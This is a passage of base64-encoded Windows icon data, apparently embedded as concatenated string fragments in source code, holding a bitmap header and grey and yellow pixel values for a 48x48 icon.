S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TzfRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT/7Rl083AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0phPANGXT7vRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0+705hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPQdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdPQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08A0ZdPxdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPxdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08B0ZdP1NGXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP09GXTwEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwZLS0tR0ZdPXNGX + T//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPW0tL + S1JLS0sGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2dLS0vgiG5NCdGXT93Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0/dgWpNCktLS+JLS0tnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLBktLS+FLS0v/S0tLXtGXT2jRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl09nS0tLYktLS/9LS0vhS0tLBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLaUtLS/9LS0v/S0tL1LuLTgnRl0/m0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT+avhE4KS0tL2UtLS/9LS0v/S0tLaAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sHS0tL4ktLS/9LS0v/S0tL/0tLS0/Rl0900ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT3RLS0tWS0tL/0tLS/9LS0v/S0tL4UtL + SwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tqS0tL/0tLS/9LS0v/S0tL/0tL + S8fQl08N0ZdP7dGXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP7cqTTw1LS0vOS0tL/0tL + S/9LS0v/S0tL/0tLS2kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwdLS0vjS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0tA0ZdPgdGXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdPgEtL + S0lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+JLS0sHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0u40ZdPE9GXT/PRl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0/z0ZdPE0tLS8NLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tqAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCEtLS+RLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v+S0tLMdGXT1vRl0+K0ZdPitGX + T0XRl09F0ZdPitGXT4rRl09bS0tLPUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vjS0tLBwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLbEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bgzdzW4W3c1uFt3NbhbdzW4W3c1uFt3NbhbdzW4MS0tLcEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sIS0tL5EtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vkYF5QCd3NbtDdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7RWlhPDktLS+tLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL5EtLSwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tuS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0tt3c1uUN3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uUktL + S3lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS20AAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwlLS0vlS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+VXVk4J3c1uzd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u0FhXTg5LS0vsS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+VLS0sIAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S29LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3DdzW5M3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NblJLS0t6S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCUtLS+ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL51FQTArdzW7K3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbs9XVk4OS0tL7EtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0vlS0tLCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLcEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLct3N + bkndzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5RS0tLektL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sJS0tL50tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vpTU1MC93NbsbdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7PVlVOD0tLS+1LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL5ktLSwkAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0txS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0t13c1uRd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1uUEtLS3tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwpLS0vnS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+pMTEsM3c1uwt3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uzlVUTQ9LS0vtS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS+dLS0sKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S3JLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3jdzW5B3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NblBLS0t8S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCktLS+hLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL7EtLSw3dzW6+3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bs5UU00QS0tL7ktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0voS0tLCgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLdEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLet3N + bj3dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW5PS0tLfUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLcwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sLS0tL6UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vtS0tLDt3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7NU1JNEEtLS+5LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL6EtLSwsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t1S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0t93c1uOd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uT0tLS35LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3QAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwtLS0vpS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v+S0tLwktLS15LS0sH3c1uIt3Nbn3dzW7I3c1u/d3Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/t3Nbs7dzW6D3c1uKktL + SwdLS0teS0tLwktLS/5LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+lLS0sLAAAAAAAAAAAAAAAAAAAAAEtL + S3ZLS0v/S0tL/0tLS/9LS0v/S0tL6ktLS4xLS0soAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uF93N + bmDdzW6s3c1u8d3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u893Nbq/dzW5k3c1uGgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSyhLS0uMS0tL6ktLS/9LS0v/S0tL/0tLS/9LS0t1AAAAAAAA + AAAAAAAAS0tLDEtLS+pLS0v/S0tL/UtLS7pLS0tWS0tLBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA3c1uBt3NbkTdzW6P3c1u293Nbv/dzW7/3c1u3N3NbpHdzW5G3c1uBwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLB0tLS1ZLS0u7S0tL/UtL + S/9LS0vqS0tLDAAAAAAAAAAAS0tLd0tLS+VLS0uES0tLIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uAN3NbijdzW4o3c1uAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLIktLS4RLS0vlS0tLdwAAAAAAAAAAS0tLOktLSwQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sES0tLOgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////8AAP// + /////wAA///+f///AAD///w///8AAP///D///wAA///4H///AAD///gf//8AAP//8A///wAA///wD/// + AAD//+AH//8AAP//4Af//wAA///AA///AAD//8AD//8AAP//gAH//wAA//+AAf//AAD//wAA//8AAP// + AAD//wAA//4AAH//AAD//AAAP/8AAP/8AAA//wAA//gAAB//AAD/+AAAH/8AAP/wAAAP/wAA//AAAA// + AAD/4AAAB/8AAP/gAAAH/wAA/8AAAAP/AAD/wAAAA/8AAP+AAAAB/wAA/4AAAAH/AAD/AAAAAP8AAP8A + 